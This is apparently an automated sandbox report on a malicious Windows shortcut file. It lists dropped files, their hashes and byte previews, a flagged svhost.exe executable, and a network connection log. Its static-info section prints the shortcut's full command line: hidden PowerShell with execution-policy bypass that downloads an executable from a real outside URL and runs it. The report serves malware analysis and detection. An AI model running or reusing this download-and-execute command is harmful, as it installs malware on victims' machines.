Preview:	PSMODULECACHE.............S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script..........Y.....C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	16592
Entropy (8bit):	5.410987074044769
Encrypted:	false
SSDEEP:	384:qt2/GhpBl5tq4S8pSVkuxA+ZQRbpwcKpGTrYv:YVPSeUkuxA+ZqGnkMv
MD5:	310C4E7C2994D0CD5224D366263EF16C
SHA1:	3EE7B1BFE08D17E86A520434913397849891C080
SHA-256:	2E70621EAD1BAF4EFE995F61FE8B4B97127E093DCB4F763AD551793F07F38FA3
SHA-512:	8DE6FF66910BB39BB7CDEB2FAC3705A904D8D12723601A4CDD90C5D68BD1F309F3089F585722FA2C5DADFC2E9CA8DF50C738275EF84438B82310E03953F9F100
Malicious:	false
Preview:	@...e................................................@..........H...............<@.^.L."My...:'..... .Microsoft.PowerShell.ConsoleHostD...............fZve...F.....x.)........System.Management.Automation4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..4................Zg5..:O..g..q..........System.Xml..L...............7.....J@......~.......#.Microsoft.Management.Infrastructure.4....................].D.E.............System.Data.8................'....L..}............System.Numerics.@................Lo...QN......<Q........System.DirectoryServices<................H..QN.Y.f............System.Management...H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2dl1g21b.4iv.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2tkd4yp5.4vu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4tbik0zf.2rj.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o0spqkob.y12.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pndsvao1.r4t.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tq0dbqin.drf.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wnsrzb1y.ojp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xeyz4iyq.hlj.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe

Download File

Process:	C:\Users\user\AppData\Roaming\svhost.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1262592
Entropy (8bit):	7.998247140834419
Encrypted:	true
SSDEEP:	24576:Yw03rS2BK40yMVrs+JBe0pw0H/bap4p16SM7RdkZu3svS/oUfsD:barS2BKOM/JBeYJfFP6SMdd6aRfs
MD5:	D3713110654DC546BD5EDC306A6E7EFD
SHA1:	DB266E554E96098584BCBB29AA2774106A7E90BF
SHA-256:	97BFA0BD9F3B382280F67839C650A3D7BE16AA31F124810F3A9B9559E34619C6
SHA-512:	35013774DA17EDF34B0D632766D54A55609D4C68B12DA758B26016E5590F349F0A5DD475041CC7DBF02960A67214F9917DA34B4C0D7BACDD839865D31FED8DE6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 41%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Q..c..............0..:...........Y... ........@.. ....................................`.................................8Y..S....`............................................................................... ............... ..H............text....9... ...:.................. ..`.rsrc........`.......<..............@..@.reloc...............B..............@..B................pY......H........M...............................................................(......(......0..~.........+q. ........%.....(......s.....s.......s....s.........o........,...o......o.......%.,..o......,..o.....&........X...2.......4....6..@........(..V........".>`..........ej..........0..........r...p.....(..........%......(.....%......(.....%......(.....%......(..........(....s......o......~....o.....~.........(....r...pr...p.(..........%......(.....(.....o.....~....o.....~..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3f5c690594e955e6.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5400
Entropy (8bit):	3.460490990610461
Encrypted:	false
SSDEEP:	48:vPBls6BRnL8AIsmAs9Q+uoI8//SogZokTPM9Q+uoI8//SogZokTjH:vplZ9QAPmZ9D+dH/T09D+dH/Tr
MD5:	9F73D566A530A0B1FC2724837D09E46D
SHA1:	9A3C7C1C2D8C77A1F1A3EB79F019E44D3B181F2F
SHA-256:	518FBC31978AD77A79734368B6CC6063DAE3C6A7AFE9E853E08D00A165F0FB00
SHA-512:	075E997F617ABC4F1C53E212D081BC6AF0E20FCCF4D421EFC74D438D47720BF7450B75FEC6A4CF1B13594723A8742132FAABC39A0429E858700161EC8B6B2A4A
Malicious:	false
Preview:	...................................FL..................F.`.. .....a.u.....?.6..&.}>.6......a........................P.O. .:i.....+00.:...:..,.LB.)...A&...&...........-....c.u...H".?.6......2.....BV%9 .07FF58~1.LNK..........U3mBV%9....P........................0.7.f.f.5.8.0.e.-.3.c.f.d.-.4.c.4.1.-.a.9.2.e.-.4.b.a.5.3.4.d.d.1.a.0.a...l.n.k.......n...............-.......m............./......C:\Users\user\Desktop\07ff580e-3cfd-4c41-a92e-4ba534dd1a0a.lnk.. .C.:.\.W.i.n.d.o.w.s.\.S.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.........%SystemRoot%\System32\imageres.dll..................................................................................................................................................................................................................................%.S.y.s.t.e.m.R.o.o.t.%.\.S.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.........................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GIDF619N8JJ3AV0K3L7X.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5400
Entropy (8bit):	3.460490990610461
Encrypted:	false
SSDEEP:	48:vPBls6BRnL8AIsmAs9Q+uoI8//SogZokTPM9Q+uoI8//SogZokTjH:vplZ9QAPmZ9D+dH/T09D+dH/Tr
MD5:	9F73D566A530A0B1FC2724837D09E46D
SHA1:	9A3C7C1C2D8C77A1F1A3EB79F019E44D3B181F2F
SHA-256:	518FBC31978AD77A79734368B6CC6063DAE3C6A7AFE9E853E08D00A165F0FB00
SHA-512:	075E997F617ABC4F1C53E212D081BC6AF0E20FCCF4D421EFC74D438D47720BF7450B75FEC6A4CF1B13594723A8742132FAABC39A0429E858700161EC8B6B2A4A
Malicious:	false
Preview:	...................................FL..................F.`.. .....a.u.....?.6..&.}>.6......a........................P.O. .:i.....+00.:...:..,.LB.)...A&...&...........-....c.u...H".?.6......2.....BV%9 .07FF58~1.LNK..........U3mBV%9....P........................0.7.f.f.5.8.0.e.-.3.c.f.d.-.4.c.4.1.-.a.9.2.e.-.4.b.a.5.3.4.d.d.1.a.0.a...l.n.k.......n...............-.......m............./......C:\Users\user\Desktop\07ff580e-3cfd-4c41-a92e-4ba534dd1a0a.lnk.. .C.:.\.W.i.n.d.o.w.s.\.S.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.........%SystemRoot%\System32\imageres.dll..................................................................................................................................................................................................................................%.S.y.s.t.e.m.R.o.o.t.%.\.S.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.........................................................................................................................................

C:\Users\user\AppData\Roaming\svhost.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1262592
Entropy (8bit):	7.998247140834419
Encrypted:	true
SSDEEP:	24576:Yw03rS2BK40yMVrs+JBe0pw0H/bap4p16SM7RdkZu3svS/oUfsD:barS2BKOM/JBeYJfFP6SMdd6aRfs
MD5:	D3713110654DC546BD5EDC306A6E7EFD
SHA1:	DB266E554E96098584BCBB29AA2774106A7E90BF
SHA-256:	97BFA0BD9F3B382280F67839C650A3D7BE16AA31F124810F3A9B9559E34619C6
SHA-512:	35013774DA17EDF34B0D632766D54A55609D4C68B12DA758B26016E5590F349F0A5DD475041CC7DBF02960A67214F9917DA34B4C0D7BACDD839865D31FED8DE6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 41%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Q..c..............0..:...........Y... ........@.. ....................................`.................................8Y..S....`............................................................................... ............... ..H............text....9... ...:.................. ..`.rsrc........`.......<..............@..@.reloc...............B..............@..B................pY......H........M...............................................................(......(......0..~.........+q. ........%.....(......s.....s.......s....s.........o........,...o......o.......%.,..o......,..o.....&........X...2.......4....6..@........(..V........".>`..........ej..........0..........r...p.....(..........%......(.....%......(.....%......(.....%......(..........(....s......o......~....o.....~.........(....r...pr...p.(..........%......(.....(.....o.....~....o.....~..

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Has Relative path, Has command line arguments, Icon number=97, ctime=Sun Dec 31 23:06:32 1600, mtime=Sun Dec 31 23:06:32 1600, atime=Sun Dec 31 23:06:32 1600, length=0, window=hidenormalshowminimized
Entropy (8bit):	2.6703001446537837
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	07ff580e-3cfd-4c41-a92e-4ba534dd1a0a.lnk
File size:	2238
MD5:	ef7f9739337bc657cd0a63e32e27d0a1
SHA1:	bf67555a7272f24ceb57b1c49e4cf37dc17b246f
SHA256:	a517abf69af75cef34cc2db14981ea42b2ef4424c140e37363f80badb2353c6c
SHA512:	e3d0a14ac1b9165e75e619aa6f76058a4c799bb722abaeafac977c35f31ab10ad8c8a51c7f3828bb896cbf339f971974a4fb26421ba6aea52530ac84b7785ada
SSDEEP:	24:8Ad/BHYVKVWU+/CWT+Oy+brUMkWq+/E4I0aHz:8A5aby+brHCAI
TLSH:	3C4103104BE50324E7F29B7A6D7AE30148767C55EE52CFCC0150919C2825621F4B4F2B
File Content Preview:	L..................F.@..................................a........................P.O. .:i.....+00.../C:\...................V.1...........Windows.@.............................................W.i.n.d.o.w.s.....Z.1...........System32..B.....................

File Icon


Icon Hash:	74f4e4e4e4e9e1ed

Static Windows Shortcut Info

General
Relative Path:	..\..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Command Line Argument:	-ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://oiartzunirratia.eus/install/clean/Lcovlccdxd.exe','%APPDATA%\svhost.exe');Start-Process '%APPDATA%\svhost.exe'
Icon location:	C:\Windows\System32\imageres.dll

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 2, 2023 08:09:15.062617064 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.062683105 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.062773943 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.083594084 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.083625078 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.203605890 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.203768969 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.209753990 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.209783077 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.210397959 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.249974966 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.249999046 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.357883930 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.357947111 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.357959032 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.358021975 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.358047009 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.358072996 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.405755997 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.405869007 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.405965090 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.405998945 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.406048059 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.406059027 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.406121969 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.453543901 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.453768969 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.453768015 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.453802109 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.453839064 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.453866005 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.453957081 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.454049110 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.454076052 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.454148054 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.454179049 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.454262972 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.454296112 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.454313040 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.454344988 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.454365015 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.494162083 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.494362116 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.501844883 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.501967907 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.502055883 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.502073050 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.502089977 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.502094984 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.502127886 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.502192020 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.502202988 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.502268076 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.502343893 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.502451897 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.502476931 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.502538919 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.502562046 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.502578974 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.502659082 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.502666950 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.502681971 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.502710104 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.502731085 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.502738953 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.502796888 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.502821922 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.502917051 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.502919912 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.502935886 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.502989054 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.503019094 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.542584896 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.542722940 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.542757034 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.542788029 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.542815924 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.542836905 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.550576925 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.550817013 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.550906897 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.550935030 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.550961971 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.550981045 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.550985098 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.551001072 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.551059008 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.551239967 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.551351070 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.551606894 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.551692963 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.551873922 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.551949978 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.552000046 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.552057028 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.552083969 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.552155018 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.552211046 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.552273989 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.552301884 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.552361965 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.552395105 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.552448988 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.552510977 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.552571058 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.552604914 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.552664042 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.552691936 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.552757978 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.552783966 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.552845001 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.552898884 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.552958965 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.552989960 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.553049088 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.553105116 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.553164959 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.553196907 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.553267956 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.553311110 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.553376913 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.553421021 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.553530931 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.640444994 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.640590906 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.640642881 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.640680075 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.640702009 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.640711069 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.640733957 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.640741110 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.640777111 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.640795946 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.640855074 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.640880108 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.640930891 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.640963078 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.641019106 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.641048908 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.641103029 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.641130924 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.641186953 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.641216993 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.641300917 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.641307116 CET	49696	443	192.168.2.4	185.101.226.22
